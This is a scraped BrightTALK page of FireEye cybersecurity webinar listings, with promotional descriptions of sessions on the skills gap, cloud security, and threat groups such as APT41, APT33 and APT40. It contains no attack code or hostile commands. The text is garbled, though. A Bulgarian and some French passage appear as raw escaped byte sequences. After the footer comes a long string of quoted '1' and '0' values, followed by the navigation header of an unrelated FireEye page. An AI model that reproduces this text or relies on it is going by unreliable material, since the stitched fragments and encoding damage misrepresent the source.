\xd0\xb4\xd0\xb2\xd0\xb8\xd0\xb6\xd0\xb0\xd1\x82 \xd0\xbf\xd1\x80\xd0\xb5\xd0\xb7 \xd0\x92\xd0\xb0\xd1\x88\xd0\xb0\xd1\x82\xd0\xb0 \xd0\xbc\xd1\x80\xd0\xb5\xd0\xb6\xd0\xb0, \xd0\xbf\xd0\xbe\xd0\xb2\xd0\xb8\xd1\x88\xd0\xb0\xd0\xb2\xd0\xb0\xd0\xb9\xd0\xba\xd0\xb8 \xd0\xbd\xd0\xb5\xd0\xbf\xd1\x80\xd0\xb0\xd0\xb2\xd0\xbe\xd0\xbc\xd0\xb5\xd1\x80\xd0\xbd\xd0\xbe \xd0\xbf\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb0\xd1\x82\xd0\xb0 \xd0\xbd\xd0\xb0 \xd0\xbf\xd0\xbe\xd1\x82\xd1\x80\xd0\xb5\xd0\xb1\xd0\xb8\xd1\x82\xd0\xb5\xd0\xbb\xd0\xb8\xd1\x82\xd0\xb5, \xd0\xbf\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb5\xd0\xb6\xd0\xb4\xd0\xb0\xd0\xb9\xd0\xba\xd0\xb8 \xd1\x80\xd0\xb0\xd0\xb7\xd1\x83\xd0\xb7\xd0\xbd\xd0\xb0\xd0\xb2\xd0\xb0\xd0\xbd\xd0\xb5 \xd0\xb8 \xd0\xba\xd1\x80\xd0\xb0\xd0\xb4\xd0\xb5\xd0\xb9\xd0\xba\xd0\xb8 \xd0\xb4\xd0\xb0\xd0\xbd\xd0\xbd\xd0\xb8. \xd0\xa1\xd0\xb0\xd0\xbc\xd0\xbe \xd1\x82\xd0\xb5\xd1 \xd0\xbd\xd0\xbe\xd0\xbb\xd0\xbe\xd0\xb3\xd0\xb8\xd1\x8f\xd1\x82\xd0\xb0 \xd1\x81\xd0\xb0\xd0\xbc\xd0\xb0 \xd0\xbf\xd0\xbe \xd1\x81\xd0\xb5\xd0\xb1\xd0\xb5 \xd1\x81\xd0\xb8 \xd0\xbd\xd0\xb5 \xd0\xb5 \xd0\xb4\xd0\xbe\xd1\x81\xd1\x82\xd0\xb0\xd1\x82\xd1\x8a\xd1\x87\xd0\xbd\xd0\xb0 \xd0\xb7\xd0\xb0 \xd0\xb1\xd0\xbe\xd1\x80\xd0\xb1\xd0\xb0 \xd1\x81 \xd0\xba\xd0\xb8\xd0\xb1\xd0\xb5\xd1\x80\xd0\xb7\xd0\xb0\xd0\xbf\xd0\xbb\xd0\xb0\xd1 \xd0\xb8\xd1\x82\xd0\xb5. FireEye \xd0\xb8\xd0\xb7\xd0\xbf\xd0\xbe\xd0\xbb\xd0\xb7\xd0\xb2\xd0\xb0\xd1\x82 \xd1\x83\xd0\xbd\xd0\xb8\xd0\xba\xd0\xb0\xd0\xbb\xd0\xb5\xd0\xbd \xd0\xb8\xd0\xbd\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x86\xd0\xb8\xd0\xbe\xd0\xbd\xd0\xb5\xd0\xbd \xd1\x86\xd0\xb8\xd0\xba\xd1\x8a\xd0\xbb, \xd0\xba\xd0\xbe\xd0\xb9\xd1\x82\xd0\xbe \xd0\xba\xd0\xbe\xd0\xbc\xd0\xb1\xd0\xb8\xd0\xbd\xd0\xb8\xd1\x80\xd0\xb0 \xd0\xba\xd0\xbe\xd0\xbc\xd0\xb1\xd0\xb8\xd0\xbd\xd0\xb8\xd1\x80\xd0\xb0\xd1\x82 \xd1\x82\xd0\xb5\xd1 \xd0\xbd\xd0\xbe\xd0\xbb\xd0\xbe\xd0\xb3\xd0\xb8\xd0\xb8 \xd1\x81 \xd0\xb4\xd0\xbe\xd0\xba\xd0\xb0\xd0\xb7\xd0\xb0\xd0\xbd\xd0\xbe \xd1\x81\xd0\xb2\xd0\xb5\xd1\x82\xd0\xbe\xd0\xb2\xd0\xbd\xd0\xbe \xd0\xba\xd0\xb0\xd1\x87\xd0\xb5\xd1\x81\xd1\x82\xd0\xb2\xd0\xbe, \xd0\xb1\xd0\xb5\xd0\xb7\xd0\xbf\xd1\x80\xd0\xb5\xd1\x86\xd0\xb5\xd0\xb4\xd0\xb5\xd0\xbd\xd1\x82\xd0\xbd\xd0\xb0 \xd1\x82\xd0\xb5\xd1 \xd0\xbd\xd0\xb8\xd1\x87\xd0\xb5\xd1\x81\xd0\xba\xd0\xb0 \xd0\xb8 \xd1\x80\xd0\xb0\xd0\xb7\xd1\x81\xd0\xbb\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb0\xd1\x89\xd0\xb0 \xd0\xb5\xd0\xba\xd1\x81\xd0\xbf\xd0\xb5\xd1\x80\xd1\x82\xd0\xb8\xd0\xb7\xd0\xb0, \xd0\xbf\xd1\x80\xd0\xb8\xd0\xb4\xd0\xbe\xd0\xb1\xd0\xb8\xd1\x82\xd0\xb8 \xd0\xb4\xd0\xb8\xd1\x80\xd0\xb5\xd0\xba\xd1\x82\xd0\xbd\xd0\xbe \xd0\xbe\xd1\x82 \xe2\x80\x9e\xd1\x84\xd1\x80\xd0\xbe\xd0\xbd\xd1\x82\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd0\xb0 \xd0\xbb\xd0\xb8\xd0\xbd\xd0\xb8\xd1\x8f\xe2\x80\x9c, \xd0\xb2\xd0\xba\xd0\xbb\xd1\x8e\xd1\x87\xd0\xb8\xd1\x82\xd0\xb5\xd0\xbb\xd0\xbd\xd0\xbe \xd1\x83\xd1\x81\xd0\xbb\xd1\x83\xd0\xb3\xd0\xb8 \xd0\xbe\xd1\x82 \xd1\x81\xd0\xb2\xd0\xb5\xd1\x82\xd0\xbe\xd0\xb2\xd0\xb5\xd0\xbd \xd0\xba\xd0\xbb\xd0\xb0\xd1\x81, \xd0\xba\xd0\xb0\xd0\xba\xd1\x82\xd0\xbe \xd0\xb8 \xd0\xb8\xd0\xbd\xd1\x84\xd0\xbe\xd1\x80\xd0\xbc\xd0\xb0\xd1\x86\xd0\xb8\xd1\x8f \xd0\xb7\xd0\xb0 \xd0\xbd\xd0\xbe\xd0\xb2\xd0\xb8\xd1\x82\xd0\xb5 \xd0\xb7\xd0\xb0\xd0\xbf\xd0\xbb\xd0\xb0\xd1 \xd0\xb8, \xd0\xba\xd0\xbe\xd1\x8f\xd1\x82\xd0\xbe \xd0\xbd\xd0\xb8\xd0\xba\xd0\xbe\xd0\xb9 \xd0\xb4\xd1\x80\xd1\x83\xd0\xb3 \xd0\xbd\xd0\xb5 \xd1\x83\xd1\x81\xd0\xbf\xd1\x8f\xd0\xb2\xd0\xb0 \xd0\xb4\xd0\xb0 \xd1\x81\xd1\x8a\xd0\xb1\xd0\xb5\xd1\x80\xd0\xb5! \xd0\x95\xd0\xba\xd0\xbe\xd1\x81\xd0\xb8\xd1\x81\xd1\x82\xd0\xb5\xd0\xbc\xd0\xb0\xd1\x82\xd0\xb0 FireEye \xd1\x81\xd1\x8a\xd1\x87\xd0\xb5\xd1\x82\xd0\xb0\xd0\xb2\xd0\xb0 \xd0\xbf\xd1\x8a\xd0\xbb\xd0\xb5\xd0\xbd \xd0\xbd\xd0\xb0\xd0\xb1\xd0\xbe\xd1\x80 \xd0\xbe\xd1\x82 \xd0\xb2\xd1\x8a\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe\xd1\x81\xd1\x82\xd0\xb8 \xd0\xb7\xd0\xb0 \xd0\xbe\xd1\x82\xd0\xba\xd1\x80\xd0\xb8\xd0\xb2\xd0\xb0\xd0\xbd\xd0\xb5, \xd0\xb7\xd0\xb0\xd1\x89\xd0\xb8\xd1\x82\xd0\xb0 \xd0\xb8 \xd1\x80\xd0\xb0\xd0\xb7\xd1\x81\xd0\xbb\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb0\xd0\xbd\xd0\xb5 \xd1\x87\xd1\x80\xd0\xb5\xd0\xb7 Network, Endpoint, and Email Security Solutions! \xd0\x9f\xd1\x80\xd0\xb8\xd1\x81\xd1\x8a\xd0\xb5\xd0\xb4\xd0\xb8\xd0\xbd\xd0\xb5\xd1\x82\xd0\xb5 \xd1\x81\xd0\xb5 \xd0\xba\xd1\x8a\xd0\xbc \xd1\x82\xd0\xbe\xd0\xb7\xd0\xb8 \xd1\x83\xd0\xb5\xd0\xb1\xd0\xb8\xd0\xbd\xd0\xb0\xd1\x80, \xd0\xbf\xd0\xbe \xd0\xb2\xd1\x80\xd0\xb5\xd0\xbc\xd0\xb5 \xd0\xbd\xd0\xb0 \xd0\xba\xd0\xbe\xd0\xb9\xd1\x82\xd0\xbe \xd1\x81\xd0\xb8\xd1\x81\xd1\x82\xd0\xb5\xd0\xbc\xd0\xbd\xd0\xb8\xd1\x8f\xd1\x82 \xd0\xb8\xd0\xbd\xd0\xb6\xd0\xb5\xd0\xbd\xd0\xb5\xd1\x80 \xd0\xbe\xd1\x82 \xd0\x9a\xd0\x9e\xd0\x9c\xd0\x9f\xd0\xae\xd0\xa2\xd0\xaa\xd0 2000 \xd0\x91\xd1\x8a\xd0\xbb\xd0\xb3\xd0\xb0\xd1\x80\xd0\xb8\xd1\x8f \xd0\x97\xd0\xbb\xd0\xb0\xd1\x82\xd0\xbe\xd0\xbc\xd0\xb8\xd1\x80 \xd0\x9c\xd0\xb8\xd0\xbb\xd0\xb0\xd0\xbd\xd0\xbe\xd0\xb2 \xd1\x89\xd0\xb5 \xd1\x80\xd0\xb0\xd0\xb7\xd0\xba\xd0\xb0\xd0\xb6\xd0\xb5 \xd0\xb8 \xd0\xb4\xd0\xb5\xd0\xbc\xd0\xbe\xd0\xbd\xd1\x81\xd1\x82\xd1\x80\xd0\xb8\xd1\x80\xd0\xb0 \xd0\xba\xd0\xb0\xd0\xba \xd0\xb7\xd0\xb0\xd0\xbf\xd0\xbb\xd0\xb0\xd1 \xd0\xb8\xd1\x82\xd0\xb5 \xd0\xb2 \xd0\xb4\xd0\xb0\xd0\xb4\xd0\xb5\xd0\xbd\xd0\xb0 \xd0\xbe\xd1\x80\xd0\xb3\xd0\xb0\xd0\xbd\xd0\xb8\xd0\xb7\xd0\xb0\xd1\x86\xd0\xb8\xd1\x8f \xd0\xbc\xd0\xbe\xd0\xb3\xd0\xb0\xd1\x82 \xd0\xb4\xd0\xb0 \xd0\xb1\xd1\x8a\xd0\xb4\xd0\xb0\xd1\x82 \xd0\xbe\xd1\x82\xd0\xba\xd1\x80\xd0\xb8\xd1\x82\xd0\xb8 \xd1\x81 \xd0\xbf\xd0\xbe\xd0\xbc\xd0\xbe\xd1\x89\xd1\x82\xd0\xb0 \xd0\xbd\xd0\xb0 \xd1\x82\xd0\xb5\xd1 \xd0\xbd\xd0\xbe\xd0\xbb\xd0\xbe\xd0\xb3\xd0\xb8\xd1\x8f\xd1\x82\xd0\xb0 FireEye \xd0\xb7\xd0\xb0 \xd0\xbc\xd1\x80\xd0\xb5\xd0\xb6\xd0\xb8, \xd0\xba\xd1\x80\xd0\xb0\xd0\xb9\xd0\xbd\xd0\xb8 \xd1\x82\xd0\xbe\xd1\x87\xd0\xba\xd0\xb8 \xd0\xb8 \xd0\xb5\xd0\xbb\xd0\xb5\xd0\xba\xd1\x82\xd1\x80\xd0\xbe\xd0\xbd\xd0\xbd\xd0\xb0 \xd0\xbf\xd0\xbe\xd1\x89\xd0\xb0, \xd0\xbf\xd0\xbe\xd0\xba\xd0\xb0\xd0\xb7\xd0\xb2\xd0\xb0\xd0\xb9\xd0\xba\xd0\xb8 \xd1\x81\xd1\x86\xd0\xb5\xd0\xbd\xd0\xb0\xd1\x80\xd0\xb8\xd0\xb8 \xd0\xb7\xd0\xb0 \xd0\xb0\xd1\x82\xd0\xb0\xd0\xba\xd0\xb8 \xd0\xbe\xd1\x82 \xd1\x80\xd0\xb0\xd0\xb7\xd0\xbb\xd0\xb8\xd1\x87\xd0\xbd\xd0\xb8 \xd0\xb3\xd0\xbb\xd0\xb5\xd0\xb4\xd0\xbd\xd0\xb8 \xd1\x82\xd0\xbe\xd1\x87\xd0\xba\xd0\xb8, \xd0\xba\xd0\xb0\xd0\xba\xd1\x82\xd0\xbe \xd0\xb8 \xd0\xba\xd0\xb0\xd0\xba \xd1\x80\xd0\xb0\xd0\xb7\xd1\x83\xd0\xb7\xd0\xbd\xd0\xb0\xd0\xb2\xd0\xb0\xd0\xbd\xd0\xb5\xd1\x82\xd0\xbe \xd0\xb4\xd0\xbe\xd0\xbf\xd1\x8a\xd0\xbb\xd0\xb2\xd0\xb0 \xd1\x82\xd0\xb5\xd1 \xd0\xbd\xd0\xbe\xd0\xbb\xd0\xbe\xd0\xb3\xd0\xb8\xd1\x8f\xd1\x82\xd0\xb0. Save your seat How to Resolve the Cyber Skills Gap Sep 30 2019 10:30 am UTC 18 mins Kevin Taylor - Senior VP EMEA; Mike Trevett - Director, Professional Services, UKI; Simon Moor, VP, NEUR There is a very prevalent human factor to the success of cyber security; behind the technology lies a team of professionals with a range of technical and specialist skills used to implement defense and proactive hunting strategies. While technology has a big part to play in the war against cyber attacks, it is the human element which is both the catalyst for attack and defense. There are an estimated 3.5 million unfilled cyber security positions forecasted for 2021 and research suggests it\xe2\x80\x99s only getting worse. Security leaders must spend far too much time finding, hiring and retaining staff. When leaders cannot find appropriately skilled talent, they are often forced to hire junior employees. Less experienced and untested staff can dramatically increase the risk of a cyber breach. Join this webinar as our executives discuss the cyber security skills crisis in line with the evolving threat landscape and near- and longer-term options to mitigate the risk of a security breach. Save your seat Visibilit\xc3\xa9 et s\xc3\xa9curisation du cloud avec FireEye Helix Sep 26 2019 12:30 pm UTC 45 mins David Grout, CTO, Emea, FireEye et Arnaud Garnier, Systems Engineer, FireEye, France La migration des infrastructures dans le cloud pose de nouveaux enjeux sur la s\xc3\xa9curisation des donn\xc3\xa9es. Les attaques comportent de moins en moins de malware et les entreprises doivent pour cela s\xe2\x80\x99adapter et trouver des outils ad\xc3\xa9quates pour combler le vide laiss\xc3\xa9 par les \xc3\xa9quipements de s\xc3\xa9curit\xc3\xa9 traditionnels. FireEye Helix permet de: gagner de la visibilit\xc3\xa9 sur les infrastructures cloud ; confronter tous les \xc3\xa9v\xc3\xa8nements anormaux \xc3 l\xe2\x80\x99expertise FireEye h\xc3\xa9rit\xc3\xa9e de FireEye Mandiant et de FireEye Threat Intelligence. Fort de cette exp\xc3\xa9rience terrain, la solution FireEye Helix appara\xc3\xaet comme la solution la mieux adapt\xc3\xa9e pour r\xc3\xa9pondre \xc3 ces nouveaux enjeux. Durant ce webinaire de 45 minutes, David Grout, CTO EMEA, et Arnaud Garnier, Systems Engineer, France, reviendrons sur la n\xc3\xa9cessit\xc3\xa9 de gagner en visibilit\xc3\xa9 sur les infrastructures cloud afin de pouvoir d\xc3\xa9tecter les nouvelles m\xc3\xa9thodes d\xe2\x80\x99attaques et ainsi les contrecarrer. Save your seat More Cloud, More Problems? Sep 23 2019 7:00 pm UTC 60 mins Martin Holste, Cloud CTO, FireEye The cloud is more pervasive in our organizations and our lives. But security operations centers (SOCs) can keep up, even when their organization adopts multiple public cloud and SaaS solutions. Join this webinar to ensure that your organization\xe2\x80\x99s cloud strategy is less of a problem than you might think. Expert Martin Holste, Cloud CTO at FireEye, shares: \xe2\x80\xa2 Trade-offs and nuances between cloud providers \xe2\x80\xa2 Considerations that can affect your strategic direction \xe2\x80\xa2 Seasoned guidance on how to optimize your cloud migration Save your seat Cyber Threats Impacting Healthcare Today Recorded: Sep 17 2019 58 mins Luke McNamara, Principal Intelligence Analyst, FireEye & Lauren T. Winchester, Breach Response Services Manager, Beazley For some time, the healthcare sector has faced a wide range of threat actors and adversary motivations. Today, data held by healthcare organizations\xe2\x80\x94patient records, medical research, and more\xe2\x80\x94remains at risk from cyber criminals and espionage groups. More disruptive cyber attacks can even hamper operations within healthcare providers. Join us on September 17 at 9 a.m. PT/12 p.m. ET, as FireEye and Beazley present a webinar that discusses the latest breach and threat landscape trends for this sector. Watch now Double Dragon: APT41, a Dual Espionage and Cyber Crime Operation Recorded: Aug 29 2019 56 mins Jacqueline O'Leary,Principal Analyst; Raymond Leong, Principal Threat Analyst; Dan Perez, Principal Threat Analyst Defending the frontlines of cybersecurity is a never-ending battle, with new advanced persistent threat (APT) groups lurking to steal data, compromise infrastructure, and interfere with victim business operations. FireEye\xe2\x80\x99s newly named threat group, APT41 is no exception. Their aggressive and consistent mode of operation, and highly sophisticated tactics, distinguishes them from other adversaries making them a double threat to contend with. APT41 uniquely balances espionage activity concurrently with financially motivated activity driven by personal gain. Since 2012 FireEye has observed APT41 conduct in a wide range of operations including data theft, innovative supply-chain attacks, and the use of unique tools and targeting techniques. Join this webinar to hear FireEye Threat Intelligence experts, Jacqueline O\xe2\x80\x99Leary, Raymond Leong and Dan Perez, provide: \xe2\x80\xa2Insights into attribution and shared tactics between espionage and financially motivated operations \xe2\x80\xa2Supply chain compromises attributed to APT41 activity \xe2\x80\xa2Unique malware capabilities and techniques \xe2\x80\xa2Details on connections to identified personas Watch now FireEye Chat: Cyber Security Skills Shortage Recorded: Jul 23 2019 30 mins Vasu Jakkal, EVP & CMO, Colin Carmichael, SVP & CIO and Jason Martin, EVP Front and Center with Colin Carmichael and Jason Martin on the Cyber Security Skills Shortage FireEye Chat, our quarterly talk show, brings guest experts front and center to cover today\xe2\x80\x99s most important cyber security topics. In this episode, we address the growing cyber security skills gap, which is expected to reach 3.5 million by 2021. The rise of technology, combined with more complex cyber security products and cyber threats, have gradually increased the demand for experienced, trained experts to fill a growing number of critical security roles in industry and government worldwide. Join us as our FireEye Chat panel discusses: \xe2\x80\xa2 An overview of the cyber skills gap \xe2\x80\xa2 Current proposed solutions \xe2\x80\xa2 A breakdown of how FireEye thinks about the challenge, as both a technology company and a security provider Watch now How FireEye Protects FireEye Recorded: Jun 20 2019 60 mins Matt Shelton, Director, Technology Risk & Threat Intelligence, FireEye FireEye relentlessly protects its customers. But who protects FireEye? Join us for an overview of how FireEye uses its own products and services to protect itself from the same threats faced by customers. In this webinar, Matt Shelton, FireEye Director of Technology Risk and Threat Intelligence, will reveal how FireEye: \xe2\x80\xa2Uses threat intelligence to proactively protect the organization \xe2\x80\xa2Detects threats using FireEye Network Security products \xe2\x80\xa2Responds to incidents with FireEye Endpoint Security \xe2\x80\xa2Leverages Helix as its security operations platform \xe2\x80\xa2Hunts for known and unknown threats within its environment. Watch now Top 5 Cloud Security Myths Debunked Recorded: Jun 20 2019 55 mins Martin Holste, Cloud CTO, FireEye Through 2022, at least 95% of cloud security failures are predicted to be the customer\xe2\x80\x99s fault (Gartner). But change how you think about cloud security, and you can be a success story. Join our webinar, which helps debunk several common myths that jeopardize your fast, secure, migration to the cloud: \xe2\x80\xa2 The cloud is unsafe \xe2\x80\xa2 My organization doesn\xe2\x80\x99t use the cloud \xe2\x80\xa2 My cloud provider will keep me secure \xe2\x80\xa2 The cloud is just someone else\xe2\x80\x99s computer \xe2\x80\xa2 Advanced adversaries aren\xe2\x80\x99t attacking the cloud You\xe2\x80\x99ll also learn how to identify a trusted advisor for cloud migration so you can confidently take advantage of cloud advancements. Presented by: Martin Holste, Cloud CTO at FireEye Watch now Help, my users have been hacked! What happened and how do I respond? Recorded: Jun 20 2019 38 mins Vinoo Thomas, Product Line Manager, FireEye A Breach Investigation Scenario Leveraging FireEye Endpoint Security FireEye spends thousands of hours annually investigating the world\xe2\x80\x99s most impactful security breaches - you don\xe2\x80\x99t have to stand alone when this happens to you. In this webinar, we will use a real-life scenario to dive deeper into how breaches are discovered and importantly, what security lessons can be learned. Join FireEye\xe2\x80\x99s Vinoo Thomas as we take a closer look at the discovery of credential harvesting and multiple compromised clients from a single compromised endpoint. Learn how investigation can be used to find and contain the impact of a breach in nearly any environment. Watch now A Review of Cyber Resilience -- Past, Present, and Future Recorded: Jun 20 2019 45 mins Rob van der Ende, VP APJ, FireEye Mandiant & Naureen Rasul, Head of Cyber Practice Asia, Marsh Pacific Rapidly evolving threats and infiltration techniques have rendered traditional cyber defense strategies insufficient and ineffective. The emerging threat vectors and speed of change amplified by the digital transformation cannot be addressed by traditional means. Globally, laws are also changing to keep pace as cybercrime evolves, knowing no boundaries. Therefore, organizations must be nimble and agile to keep pace with policy changes, especially when expanding across different jurisdictions Join us as we discuss three strategic imperatives to strengthen cyber resilience: \xe2\x80\xa2 Understand (know your threats) \xe2\x80\x93 Identify organization- and industry-specific cyber threats and regulations calls for robust strategies that include cross-disciplinary considerations. \xe2\x80\xa2 Measure (know yourself) \xe2\x80\x93 Quantify the potential financial impact of cyber exposures to compare against the level of risk appetite acceptable to the board. This will determine the amount of investment necessary to mitigate and transfer any residual risk. \xe2\x80\xa2 Manage (know what you can do) \xe2\x80\x93 Proactively manage cyber risks by having clear action plans based on your capabilities and capacities to protect against cyber criminals. While cyber-attacks are inevitable, proper preparation is the essential element that sets resilient organizations apart from the rest in managing risk, minimizing damage, and recovering quickly from any incidents. Watch now The Cyber Skills Gap: A Practitioner\xe2\x80\x99s Perspective Recorded: Jun 19 2019 52 mins Stanley Parret, Principal Consultant, FireEye Managed Defense The shortage of cybersecurity workers is a growing concern for the teams who are directly responsible for protecting the organization against cyber threats. It\xe2\x80\x99s estimated that by 2021, 3.5 million cyber security positions will go unfilled. Join Stanley Parret, Principal Consultant for FireEye Managed Defense, for a look at the unforeseen challenges and consequences of the growing cyber skills gap, especially around protecting against advanced threats. In this webinar, we\xe2\x80\x99ll discuss: -The impact of staffing shortages on security practitioners -How they\xe2\x80\x99re being required to protect more with less -The options available to security teams who need to extend their capacity Register now for the webinar Watch now Simplifying Security Operations with ONE Platform Recorded: Jun 19 2019 53 mins Ben Forster, Sr. Product Marketing Manager, FireEye Managing security operations is a challenge, and the technologies most organizations are using don\xe2\x80\x99t provide the visibility, detection efficacy, or context they need. As their risk profile expands, organizations rely on hiring more analysts and purchasing more tools, often depending on manual processes to find and mitigate threats. The high volume of alert noise strains security teams\xe2\x80\x99 resources and increases the probability they will miss an alert that matters. Organizations need a single solution that centralizes their security management, provides visibility, and allows them to quickly respond to threats with automation. In this webinar: - Understand the benefits of technology consolidation - Learn about what a single platform can do for your people and processes - Discover the untapped potential of your security investments Watch now How To Train Your Email Security Dragon Recorded: Jun 19 2019 38 mins Gareth Fraser-King, Director, Product Marketing EMEA The numbers make stark reading. 281 billion emails sent daily to over 2 billion business users. 91% of all cyber-attacks start with an email and it only takes 1 with malicious intent to impact your organisation. With evolving methods used by the adversary, it\xe2\x80\x99s becoming increasingly difficult not to get burned. Join Gareth Fraser-King, Director, Product Marketing EMEA, to learn: - The state of the cyber landscape, specific to email security. - How the attack vector is changing with new tactics, techniques, procedures and what you need to look out for. - Why is FireEye better at catching evolving attacks and how this can benefit you. Watch now Green Demon Denied Recorded: Jun 19 2019 25 mins Shashwath Hegde, Solutions Architect, APAC Managed Detection and Response (MDR) services should spot prevention failures and respond quickly. Good MDR services spot Red Teams and Pen Testers who are tasked with defeating preventative controls. A great MDR service knows when real, malicious threat actors are hiding their footprints amongst Red Team activity. In this war story, we discuss how Managed Defense, FireEye's MDR service, deals with such situations. Watch now Using Risk Management to Optimize Cybersecurity Costs Recorded: Jun 18 2019 47 mins Matt Keane, Senior Director, Risk Management Services \xe2\x80\x93 FireEye Mandiant Using Risk Management to Optimize Cybersecurity Costs: Best Practices for the C-Suite Cyber risk management is increasingly becoming a strategic priority for executive leaders worldwide, though many organizations find it challenging to accurately anticipate, prioritize, and forecast risk mitigation costs. C-level executives can meet these challenges by engaging their boards and their security teams to ensure they have the right data to scope risk-based focus areas. This allows the organization to plan effectively while keeping necessary security investments top of mind. Join this webinar with Matt Keane, FireEye Mandiant Senior Director of Risk Management Services, as he explains how to: \xe2\x80\xa2 Identify the top risks to your organization based on threat intelligence\xe2\x80\x94and communicate these trends to your board of directors in a way they\xe2\x80\x99ll hear \xe2\x80\xa2 Ensure that the board\xe2\x80\x99s security investment decisions support your organization\xe2\x80\x99s appetite for risk \xe2\x80\xa2 Establish a framework that ensures the alignment of strategic priorities with security spending \xe2\x80\xa2 Track the right risk performance metrics to monitor changes in your unique risk profile, so that you can shift priorities and spending when needed \xe2\x80\xa2 Apply these lessons to a sample business scenario. Register for this webinar to learn how executives like yourself can effectively implement these cyber risk management practices today. Watch now APT Groups: How They Think, What They Want, and How to Fight Them Recorded: Jun 18 2019 59 mins David Grout, CTO, EMEA, FireEye Like most cyber criminals, advanced persistent threat (APT) groups try to steal data, disrupt operations, and destroy infrastructure. But unlike other attackers, APT attackers pursue their objectives over months or even years, adapting to defenses and frequently retargeting the same victim. Join this webinar to hear David Grout, FireEye EMEA Chief Technology Officer explain how effective cyber threat intelligence (CTI) helps you understand APT groups\xe2\x80\x99 intents and tactics so you can stay ahead of attacks, instead of just reacting to them. He\xe2\x80\x99ll also provide: \xe2\x80\xa2A high-level overview of the nation-state interests driving APT activity \xe2\x80\xa2Insight into the most recent APT attacks investigated by FireEye \xe2\x80\xa2A deep dive into the workings of APT40, a Chinese cyber espionage group that typically targets countries and organizations strategically important to the country\xe2\x80\x99s \xe2\x80\x9cBelt and Road Initiative.\xe2\x80\x9d Watch now A Red Team Case Study Recorded: Jun 18 2019 48 mins Steve Ledzian, Vice President & Chief Technology Officer, APAC, FireEye Red Team assessments help organizations identify weaknesses in their current detection and response procedures so they can update their existing security programs to better deal with modern threats. We'll look at a red team case study detailed in FireEye's MTrends 2019 report where consultants performed an objective-based assessment that emulated a real cyber attack of an advanced, nation state attacker across the entire attack lifecycle Watch now Threat Intelligence on the Frontlines Recorded: Jun 18 2019 55 mins Tavis Newsome, Senior Intelligence Optimisation Analyst, FireEye Today, defeating cyber attackers and the techniques they employ requires real-time insight and intelligence. Staying ahead of attacks, instead of merely reacting, is the heart of cyber threat intelligence. To illustrate the importance of these capabilities to both public and private sector organizations, Tavis will draw from recent real-world intelligence findings, such as FireEye\xe2\x80\x99s collaboration with Facebook and Google to identify Iranian government influence campaigns, as well as our identification of North Korean state-sponsored groups targeting the energy sector. Watch now Technology, Intelligence and Expertise FireEye is the intelligence-led security company. Working as a seamless, scalable extension of customer security operations, FireEye offers a single platform that blends innovative security technologies, nation-state grade threat intelligence, and world-renowned Mandiant\xc2\xae consulting. With this approach, FireEye eliminates the complexity and burden of cyber security for organizations struggling to prepare for, prevent, and respond to cyber attacks. FireEye has over 7,700 customers across 67 countries, including more than 50 percent of the Forbes Global 2000. More Upcoming webinars (5) Recorded webinars (207) Subscribers (34,579) Channel RSS feed Up Down Watch later Watch later You can now save presentations to a watch later list and revisit them at your convenience. Click on your profile menu to find your watch later list. Got it Viewing Certificate Manage Register for Free Already have a BrightTALK account? Log in Recommended for you: [[ webcast.title ]] [[ webcast.presenters ]] Live [[ webcast.start * 1000 | amDateFormat: 'MMM D YYYY h:mm a' ]] [[ (webcast.duration / 60) | number:0 ]] mins [[ webcast.title ]] [[ webcast.presenters ]] Live [[ webcast.start * 1000 | amDateFormat: 'MMM D YYYY h:mm a' ]] [[ (webcast.duration / 60) | number:0 ]] mins \xc2 Products Overview Audience Channel Studios Resources Academy Customer stories Blog Marketing visionaries Company About Culture and careers Leadership Board and advisors Contact Meet Ada Mission and values Support Channel owners Developers Presenters Viewers \xc2\xa9 2018 BrightTALK User agreement Privacy policy Presenter access Embed in website or blog Copy and paste this embed code to your website or blog: Close Your colleagues' emails: Add Successfully added emails: 0 Remove all Your message: Hi, I thought this webinar was interesting and I wanted to share it with you. Title: APT33: New\xc2 Insights into Iranian Cyber Espionage Group Live at: Sep 21 2017 12:00 pm Presented by: Stuart Davis, Director, Mandiant; Nick Carr, Senior Manager, TORE Detection & Analysis From: Send Cancel Your email has been sent. Invite more colleagues or close You are confirmed to attend for free on BrightTALK! Save to your calendar to make sure you don't miss the live event Add to calendar Outlook iCal Google APT33: New\xc2 Insights into Iranian Cyber Espionage Group Stuart Davis, Director, Mandiant; Nick Carr, Senior Manager, TORE Detection & Analysis [[ webcastStartDate * 1000 | amDateFormat: 'MMM D YYYY h:mm a' ]] 49 mins Skip Next","1","0","0","1","1","0","1","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Clandestine Fox, Part Deux | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and 